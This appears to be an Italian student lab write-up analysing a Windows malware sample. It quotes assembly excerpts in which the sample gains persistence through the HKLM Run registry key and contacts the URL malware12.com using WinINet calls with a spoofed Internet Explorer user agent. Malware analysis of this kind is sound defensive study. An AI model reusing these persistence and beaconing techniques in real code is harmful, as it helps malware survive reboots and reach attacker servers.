# S11 L1 WINDOWS MALWARE

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite

```
0040286F   push    2                   ; samDesired
00402871   push    eax                 ; ulOptions
00402872   push    offset SubKey       ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877   push    HKEY_LOCAL_MACHINE  ; hKey
0040287C   call    esi ; RegOpenKeyExW
0040287E   test    eax, eax
```

Con questa funzione il malware accede alla chiave di registro prima di modificarne il valore. Una cosa importante da notare, è che abbiamo visto qual è una delle chiavi di registro che viene utilizzata dai malware per ottenere persistenza su un sistema operativo Windows. Ovvero la subkey Software\\Microsoft\\Windows\\CurrentVersion\\Run


La funzione RegSetValueExW viene utilizzata dal malware per modificare il valore del registro ed aggiungere una nuova entry in modo tale da ottenere la persistenza all’avvio del sistema operativo.

- Identificare il client software utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

```
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
```

InternetOpen: questa funzione viene utilizzata per inizializzare una connessione verso Internet, notiamo come i parametri vengano passati alla funzione col push.

```
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
```

InternetOpenUrl: viene utilizzata invece per la connessione ad un determinato URL.
Accetta, tra gli altri parametri, un oggetto «handler» ad una connessione inizializzata con InternetOpen, e l’URL per la connessione
Notiamo quindi che l’url al quale tenta di connettersi è : malware12.COM